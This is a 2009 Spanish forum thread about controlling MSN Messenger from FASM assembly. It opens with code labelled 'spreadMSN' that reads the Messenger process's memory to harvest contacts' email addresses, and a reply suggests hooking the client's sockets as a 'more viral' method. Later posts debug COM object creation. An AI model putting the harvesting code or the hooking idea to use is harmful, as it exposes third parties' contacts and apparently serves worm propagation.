Título: ASM y MSN
Publicado por: c4st0r en 23 Marzo 2009, 14:04 pm
Hola muy buenas a todos, a ver si algunos de ustedes me podian sugerir como podemos controlar el MSn desde el fasm asi como lo hace C con una libreria, si tengo que hacerme una libreria o si se les ocurre alguna otra manera. Yo he logrado sacar los contactos abriendo el proceso del Messenger y leyendo en todos sus bloques de memoria extrayendolos pero se demora bastante. Aqui les dejor lo que hice, siento mucho que el code no este comentado y que sea tan lioso ya que no me gusta usar estructuras. Esta probado en el MSN live y funciona, en otras versiones no :P ;#################################### ;# # ;# Made by c4st0r xD # ;# # ;####################################
format PE GUI 4.0 include 'win32a.inc' include 'macro/if.inc' ;MEMORY_BASIC_INFORMATION ' 28 bytes ; BaseAddress As Long ; AllocationBase As Long ; AllocationProtect As Long ; RegionSize As Long ; State As Long ; Protect As Long ; lType As Long
;SYSTEM_INFO ' 36 Bytes ; dwOemID As Long ; dwPageSize As Long ; lpMinimumApplicationAddress As Long ; lpMaximumApplicationAddress As Long ; dwActiveProcessorMask As Long ; dwNumberOrfProcessors As Long ; dwProcessorType As Long ; dwAllocationGranularity As Long ; wProcessorLevel As Integer ; wProcessorRevision As Integer
spreadMSN: invoke LocalAlloc, LPTR, 7500 ; memoria suficiente para las 3 estructuras y los correos ; SYSTEM_INFO MEMORY_BASIC_INFORMATION + struct de CreateTool... mov dword[eax], 296 mov ebx, eax invoke CreateToolhelp32Snapshot, 15, 0; TH32CS_SNAPALL mov esi, eax mov edi, ebx add edi, 36 bucle: invoke Process32Next, esi, ebx cmp eax, 0 je @next invoke lstrstr, edi, msnmsgr cmp eax, 0 je bucle invoke CloseHandle, esi invoke OpenProcess, PROCESS_ALL_ACCESS, FALSE, dword[ebx+8] mov edi, eax ; edi handle del proceso abierto invoke GetSystemInfo, ebx ;SYSTEM_INFO ScanMemory: mov ecx, dword[ebx+12] .while dword[ebx+8] < ecx ; si.lpMinimumApplicationAddress < si.lpMaximumApplicationAddress mov dword[ebx+36+12], 0 mov esi, ebx add esi, 36 invoke VirtualQueryEx, edi, dword[ebx+8], esi, 28 .if eax = 28 .if dword[ebx+36+24] = MEM_PRIVATE | dword[ebx+36+16] = MEM_COMMIT .if dword[ebx+36+12] > 0 invoke LocalAlloc, LPTR, dword[ebx+36+12] mov esi, eax invoke ReadProcessMemory, edi, dword[ebx+36], esi, dword[ebx+36+12], 0 .if eax <> 0 mov ecx, dword[ebx+36+12] mov edx, esi .while ecx <> 0 .if dword[edx] = '|Pas' .if dword[edx+4] = 'spor' .if word[edx+8] = 't|' add edx, 10 mov al, '(' mov cl, 50 pushad mov edi, edx repne scasb mov byte[edi-1], 0 xor eax, eax mov al, 50 sub al, cl mov esi, eax dec esi mov edi, ebx add edi, 36+28 mov ebx, edx invoke lstrstr, edi, edx .if eax <> 0 jmp NotCopy .endif mov al, 0 mov ecx, -1 repne scasb dec edi invoke RtlMoveMemory, edi, ebx, esi add edi, esi mov word[edi], 0x0A0D NotCopy: popad .endif .endif .endif inc edx dec ecx .endw .endif invoke LocalFree, esi .endif .endif .endif mov ecx, dword[ebx+36] add ecx, dword[ebx+36+12] mov dword[ebx+8], ecx mov ecx, dword[ebx+12] .endw EndScan: invoke CloseHandle, edi
invoke ExitProcess, 0 @next: invoke LocalFree, ebx jmp spreadMSN
msnmsgr db 'msnmsgr.exe', 0
Título: Re: ASM y MSN
Publicado por: c4st0r en 19 Abril 2009, 02:44 am
alguna pista please?, alguna manera de usar un libreria desde asm llevo tiempo investigando y no encuentro nada gracias
Título: Re: ASM y MSN
Publicado por: Arkangel_0x7C5 en 19 Abril 2009, 02:56 am
ni idea, se que el messenger tiene una api, pero no se nada de ella. Si me dices como se hace en C, A lo mejor puedo decirte como hacerlo en asm
Saludos
Título: Re: ASM y MSN
Publicado por: c4st0r en 19 Abril 2009, 04:32 am
Bueno por lo que he leido hay que crear un objeto, se hace con las apis, CoInitialize, CoCreateInstance, CoUninitialize... en este foro hay un ejemplo en C++ http://foro.elhacker.net/programacion_general/utilizando_el_api_del_messenger_en_c-t24808.0.html;msg791907 estoy leyendo tambien esto que me he encontrado sobre objetos bastante interesante. Introducción al modelo COM http://upiia.uab.es/teach/a20383/practiques/practica2/com.htm
Título: Re: ASM y MSN(Creacion de Objetos COM)
Publicado por: c4st0r en 19 Abril 2009, 05:28 am
Bueno ya voy avanzando he descubierto como hacerlo en fasm la creacion de objetos, a ver si alguien se anima :P, estoy viendo como puedo crear una especie de libreria solo para el evento de sacar los contactos, o alguna forma de poder interactuar con una libreria, aunque parece que hay que crearse una propia... format PE GUI 4.0 entry start
include 'win32a.inc'
macro comcall object,proc,[arg] { common if ~ arg eq reverse pushd arg common end if mov eax,[object#.#handle] push eax mov eax,[eax] call [eax+object#.#proc] }
struc GUID d1,d2,d3,d4,d5 { .Data1 dd 0x#d1 .Data2 dw 0x#d2 .Data3 dw 0x#d3 .Data4 db 0x#d4 shr 8,0x#d4 and 0FFh .Data5 db 0x#d5 shr 40,0x#d5 shr 32 and 0FFh,0x#d5 shr 24 and 0FFh,0x#d5 shr 16 and 0FFh,0x#d5 shr 8 and 0FFh,0x#d5 and 0FFh }
struc ITaskBarList { .handle dd ? virtual at 0 .QueryInterface dd ? .AddRef dd ? .Release dd ? .HrInit dd ? .AddTab dd ? .DeleteTab dd ? .ActivateTab dd ? .SetActiveAlt dd ? end virtual }
CLSCTX_INPROC_SERVER = 0x1 CLSCTX_INPROC_HANDLER = 0x2 CLSCTX_LOCAL_SERVER = 0x4 CLSCTX_INPROC_SERVER16 = 0x8 CLSCTX_REMOTE_SERVER = 0x10 CLSCTX_INPROC_HANDLER16 = 0x20 CLSCTX_INPROC_SERVERX86 = 0x40 CLSCTX_INPROC_HANDLERX86 = 0x80 CLSCTX_ESERVER_HANDLER = 0x100 CLSCTX_NO_CODE_DOWNLOAD = 0x400 CLSCTX_NO_CUSTOM_MARSHAL = 0x1000 CLSCTX_ENABLE_CODE_DOWNLOAD = 0x2000 CLSCTX_NO_FAILURE_LOG = 0x4000 CLSCTX_DISABLE_AAA = 0x8000 CLSCTX_ENABLE_AAA = 0x10000 CLSCTX_FROM_DEFAULT_CONTEXT = 0x20000
ID_EXIT = 0 ID_SHOW = 1 ID_HIDE = 2
IDD_COMDEMO = 1
section '.data' data readable writeable
CLSID_TaskbarList GUID 56FDF344,FD6D,11D0,958A,006097C9A090 IID_ITaskbarList GUID 56FDF342,FD6D,11D0,958A,006097C9A090
ShellTaskBar ITaskBarList
section '.code' code readable executable
start:
invoke CoInitialize,NULL invoke CoCreateInstance,CLSID_TaskbarList,NULL,CLSCTX_INPROC_SERVER,IID_ITaskbarList,ShellTaskBar
invoke GetModuleHandle,0 invoke DialogBoxParam,eax,IDD_COMDEMO,HWND_DESKTOP,COMDemo,0
comcall ShellTaskBar,Release
invoke ExitProcess,0
proc COMDemo,hwnd,msg,wparam,lparam push ebx esi edi cmp [msg],WM_INITDIALOG je wminitdialog cmp [msg],WM_COMMAND je wmcommand cmp [msg],WM_CLOSE je wmclose xor eax,eax jmp finish wminitdialog: jmp processed wmcommand: cmp [wparam],BN_CLICKED shl 16 + ID_EXIT je wmclose cmp [wparam],BN_CLICKED shl 16 + ID_SHOW je show cmp [wparam],BN_CLICKED shl 16 + ID_HIDE jne processed hide: comcall ShellTaskBar,HrInit comcall ShellTaskBar,DeleteTab,[hwnd] jmp processed show: comcall ShellTaskBar,HrInit comcall ShellTaskBar,AddTab,[hwnd] comcall ShellTaskBar,ActivateTab,[hwnd] jmp processed wmclose: invoke EndDialog,[hwnd],0 processed: mov eax,1 finish: pop edi esi ebx return endp
section '.idata' import data readable
library kernel,'KERNEL32.DLL',\ user,'USER32.DLL',\ ole,'OLE32.DLL'
import kernel,\ GetModuleHandle,'GetModuleHandleA',\ ExitProcess,'ExitProcess'
import user,\ DialogBoxParam,'DialogBoxParamA',\ EndDialog,'EndDialog'
import ole,\ CoInitialize,'CoInitialize',\ CoCreateInstance,'CoCreateInstance'
section '.rsrc' resource data readable
directory RT_DIALOG,dialogs
resource dialogs,\ IDD_COMDEMO,LANG_ENGLISH+SUBLANG_DEFAULT,comdemo
dialog comdemo,'COM demonstration',70,70,170,24,WS_CAPTION+WS_POPUP+WS_SYSMENU+DS_MODALFRAME dialogitem 'BUTTON','Show',ID_SHOW,4,4,45,15,WS_VISIBLE+WS_TABSTOP dialogitem 'BUTTON','Hide',ID_HIDE,54,4,45,15,WS_VISIBLE+WS_TABSTOP dialogitem 'BUTTON','Exit',ID_EXIT,120,4,45,15,WS_VISIBLE+WS_TABSTOP enddialog
; Extraido de http: // board.flatassembler.net/index.php
http://board.flatassembler.net/topic.php?t=553
Título: Re: ASM y MSN
Publicado por: c4st0r en 25 Abril 2009, 23:32 pm
No hay mucha motivacion con el tema, hoy me h epuesto de nuevo a investigar sin mucho exito :-\, el CoCreateInstance me da error y creo que las constantes las he puesto bien :huh: format PE GUI 4.0 include 'win32ax.inc'
macro comcall object,proc,[arg] { common if ~ arg eq reverse pushd arg common end if mov eax,[object#.#handle] push eax mov eax,[eax] call [eax+object#.#proc] }
invoke LocalAlloc, LPTR, 1000000; suficiente memoria para la interfaz IMessenger ; ya que no se el tamaño que tendra mov ebx, eax invoke CoInitialize,NULL invoke CoCreateInstance,CLSID_Messenger,NULL,23,\; 23 = CLSCTX_ALL IID_IMessenger,ebx ;eax = 0x80040154 deberia de dar 0 :-(
struc GUID d1,d2,d3,d4,d5 { .Data1 dd 0x#d1 .Data2 dw 0x#d2 .Data3 dw 0x#d3 .Data4 db 0x#d4 shr 8,0x#d4 and 0FFh .Data5 db 0x#d5 shr 40,0x#d5 shr 32 and 0FFh,0x#d5 shr 24 and 0FFh,0x#d5 shr 16 and 0FFh,0x#d5 shr 8 and 0FFh,0x#d5 and 0FFh }
IID_IMessenger GUID 0D50C3186,0F89,48f8,0B204,3604629DEE10 CLSID_Messenger GUID 0B69003B3,0C55E,4b48,836C,0BC5946FC3B28
data import library kernel32, 'kernel32.dll',\ ole32, 'ole32.dll'
import ole32, CoInitialize, 'CoInitialize',\ CoCreateInstance, 'CoCreateInstance'
include 'API\KERNEL32.INC' end data
Título: Re: ASM y MSN
Publicado por: Arkangel_0x7C5 en 25 Abril 2009, 23:57 pm
yo la verdad es que nunca tuve que travajar con los objetos COM.
Lo lo que abria echo seria un metodo mas vírico jeje Abria intentado hacerle un gancho a el msn, en los Soker. y como tiene que ir comprovandolos de vez en cuando. O si no aprovechando que ya estaria logueado por estar dentro del proceso del msn, le pediria al server los contactos
Saludos
Título: Re: ASM y MSN
Publicado por: c4st0r en 26 Abril 2009, 00:47 am
Bueno en C asi funciona #include <windows.h> #include <objbase.h> #include <stdio.h> #include <conio.h>
const GUID IID_IMessenger = {0xd50c3186,0x0f89,0x48f8,{0xb2,0x04,0x36,0x04,0x62,0x9d,0xee,0x10}};
const GUID CLSID_Messenger = {0xb69003b3,0xc55e,0x4b48,{0x83,0x6c,0xbc,0x59,0x46,0xfc,0x3b,0x28}};
int main(int argc, char* argv[]) { HRESULT hr; IUnknown* pMsgr;
CoInitialize(0); hr = CoCreateInstance(CLSID_Messenger, NULL, CLSCTX_LOCAL_SERVER, IID_IMessenger, (void**)&pMsgr); printf("CreateInstance=%u=0x%X\n", hr, hr); if (pMsgr) { pMsgr->Release(); } CoUninitialize();
printf("Try to exit messenger now.\n"); _getch(); return 0; }
pero en ASM seguimos en las mismas :-\ format PE GUI 4.0 include 'win32ax.inc'
invoke CoInitialize,NULL invoke CoCreateInstance,CLSID_Messenger,NULL,\ CLSCTX_LOCAL_SERVER,\ IID_IMessenger,pMsgr
struc GUID def { match d1-d2-d3-d4-d5, def \{ .Data1 dd 0x\#d1 .Data2 dw 0x\#d2 .Data3 dw 0x\#d3 .Data4 db 0x\#d4 shr 8,0x\#d4 and 0FFh .Data5 db 0x\#d5 shr 40,0x\#d5 shr 32 and 0FFh,\ 0x\#d5 shr 24 and 0FFh,\ 0x\#d5 shr 16 and 0FFh,\ 0x\#d5 shr 8 and 0FFh,0x\#d5 and 0FFh \} }
; ....................................... struct IUnknown QueryInterface dd ? AddRef dd ? Release dd ? ends ; ........................................
CLSCTX_LOCAL_SERVER = 0x4 IID_IMessenger GUID D50C3186-0F89-48f8-B204-3604629DEE10 CLSID_Messenger GUID B69003B3-C55E-4b48-836C-BC5946FC3B28 pMsgr IUnknown ?
data import library kernel32, 'kernel32.dll',\ ole32, 'ole32.dll'
import ole32, CoInitialize, 'CoInitialize',\ CoCreateInstance, 'CoCreateInstance'
include 'API\KERNEL32.INC' end data
pero creo que cada vez falta menos ;D
Título: Re: ASM y MSN
Publicado por: Arkangel_0x7C5 en 26 Abril 2009, 01:01 am
que error da
Título: Re: ASM y MSN
Publicado por: c4st0r en 26 Abril 2009, 01:25 am
El code de C funciona perfecto El de ASM me este error el OLLY ERROR_NO_TOKEN (000003F0)
Título: Re: ASM y MSN
Publicado por: Arkangel_0x7C5 en 26 Abril 2009, 01:33 am
eso sengun he leido es error en las referencias. Vamos que hago de los parametros esta mal. En que api ocurre exactamente?
Título: Re: ASM y MSN
Publicado por: c4st0r en 26 Abril 2009, 01:42 am
En CoCreateInstance, he debugeado el exe del C y se coloca igual los datos que en el de ASM pero no entiendo porque no funciona igual, pero luego estoy intentando ver la estructura del IUnknown de C y como que es algo distinta sino me equivoco...
Título: Re: ASM y MSN
Publicado por: Arkangel_0x7C5 en 26 Abril 2009, 02:00 am
bueno, yo lei la msdn y dice que el Unowk es el interface que se debe obtener con QueryInterface
Saludos
Título: Re: ASM y MSN
Publicado por: c4st0r en 26 Abril 2009, 04:20 am
No entiendo, no se si es por la manera de compilar pero asi funciona, le he puesto una string antes de las direcciones de MSn y funciona, habia visto que habia un return raro al cargarse la direccion. format PE GUI 4.0 include 'win32ax.inc'
invoke LocalAlloc, LPTR, 1000 mov ebx, eax invoke CoInitialize,0 invoke CoCreateInstance,CLSID_Messenger,NULL,\ 0x4,\ IID_IMessenger,ebx
struct GUID Data1 dd ? Data2 dw ? Data3 dw ? Data4 rb 8 ends
yoseba db '0000000000000000000000000000000000000000', 0 CLSID_Messenger GUID 0xb69003b3,0xc55e,0x4b48,<0x83,0x6c,0xbc,0x59,0x46,0xfc,0x3b,0x28> IID_IMessenger GUID 0xd50c3186,0x0f89,0x48f8,<0xb2,0x04,0x36,0x04,0x62,0x9d,0xee,0x10>
data import library kernel32, 'kernel32.dll',\ ole32, 'ole32.dll'
import ole32, CoInitialize, 'CoInitialize',\ CoCreateInstance, 'CoCreateInstance'
include 'API\KERNEL32.INC' end data
voy a compilarlo de otra manera a ver :-\, tanto tiempo viendo en que fallaba ya me estaba volviendo loco
|